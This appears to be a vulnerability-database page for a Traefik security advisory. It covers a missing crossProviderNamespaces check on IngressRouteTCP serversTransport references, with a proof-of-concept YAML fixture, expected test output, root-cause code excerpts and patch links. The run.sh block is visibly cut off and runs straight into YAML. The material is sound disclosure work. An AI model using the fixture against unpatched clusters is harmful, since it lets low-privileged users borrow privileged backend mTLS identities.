Traefik before 3.6.23 IngressRouteTCP ServersTransport Namespace Bypass

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service serversTransport references (the allowlist was only enforced for HTTP serversTransport references). A low-privileged Kubernetes user in a namespace not listed in crossProviderNamespaces can set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use a file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. This is fixed in 3.6.23 and 3.7.7.

## Summary There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes CRD provider enforces `crossProviderNamespaces` for several cross-provider references, but `IngressRouteTCP` service `serversTransport` references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` can still set `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik accepts the forbidden cross-provider reference and later uses the referenced `TCPServersTransport`, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings. ## Description `crossProviderNamespaces` is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP `serversTransport` references enforce that allowlist. TCP `serversTransport` references do not. An attacker with low Kubernetes privileges in namespace `default` can create an `IngressRouteTCP` service with: ```yaml serversTransport: foo@file ``` Even when the provider is configured with: ```yaml crossProviderNamespaces: - operator-only ``` Traefik still emits a TCP dynamic service whose load balancer points to `foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings. ## Impact The PoC demonstrates two positive facts: 1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and store `LoadBalancer.ServersTransport = "foo@file"` from an `IngressRouteTCP` service. 2. A qualified `foo@file` `TCPServersTransport` with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend. This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference. ## Proof Of Concept ### Files - `run.sh`: portable runner. - `poc_crd_test.go`: positive CRD provider proof. - `with_servers_transport_cross_provider_poc.yml`: minimal `IngressRouteTCP` fixture. - `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof. <details> <summary>run.sh</summary> ```bash #!/usr/bin/env sh set -eu

entryPoints: - foo routes: - match: HostSNI(`foo.com`) priority: 12 services: - name: whoamitcp port: 8000 tls: true serversTransport: foo@file ``` </details> ### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout is required by default. ### Run ```sh ./run.sh ``` Optional target override: ```sh TARGET_REF=v3.6.21 ./run.sh ``` Optional local-source override for faster local validation: ```sh TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh ``` ### Expected Result The run should end with: ```text POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG" POC_RESULT=PASS ``` ## Root Cause Line numbers below are from: ```text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0 ``` ### 1. The provider option is meant to cover IngressRouteTCP `pkg/provider/kubernetes/crd/kubernetes.go:60` ```go CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...` ``` This establishes the security invariant: `IngressRouteTCP` cross-provider references should be gated by `crossProviderNamespaces`. ### 2. TCP service creation forwards the attacker-controlled transport name `pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185` ```go if service.ServersTransport != "" { tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport) } ``` The attacker-controlled `serversTransport` field is passed into the key builder. ### 3. TCP key builder returns cross-provider names without the allowlist check `pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322` ```go if strings.Contains(serversTransportName, providerNamespaceSeparator) { return serversTransportName, nil } ``` This accepts `foo@file` directly. There is no call to `isCrossProviderNamespaceAllowed(...)` on this TCP path. ### 4. HTTP sibling contains the missing authorization gate `pkg/provider/kubernetes/crd/kubernetes_http.go:507-508` ```go if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) { return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...) } ``` The HTTP path proves the intended policy: cross-provider `serversTransport` references should be rejected when the route namespace is not in the allowlist. ### 5. Runtime TCP dialer consumes the exact referenced transport `pkg/tcp/dialer.go:135-141` ```go if config.ServersTransport != "" { name = config.ServersTransport } st, ok := d.serversTransports[name] ``` `pkg/tcp/dialer.go:183-188` ```go tlsConfig = &tls.Config{ ServerName: st.TLS.ServerName, Certificates: st.TLS.Certificates.GetCertificates(), } ``` The accepted `foo@file` reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections. </details> ---

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-42cj-m3vj-89wv. This link is maintained to preserve external references. ## Original Description Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service serversTransport references (the allowlist was only enforced for HTTP serversTransport references). A low-privileged Kubernetes user in a namespace not listed in crossProviderNamespaces can set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use a file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. This is fixed in 3.6.23 and 3.7.7.
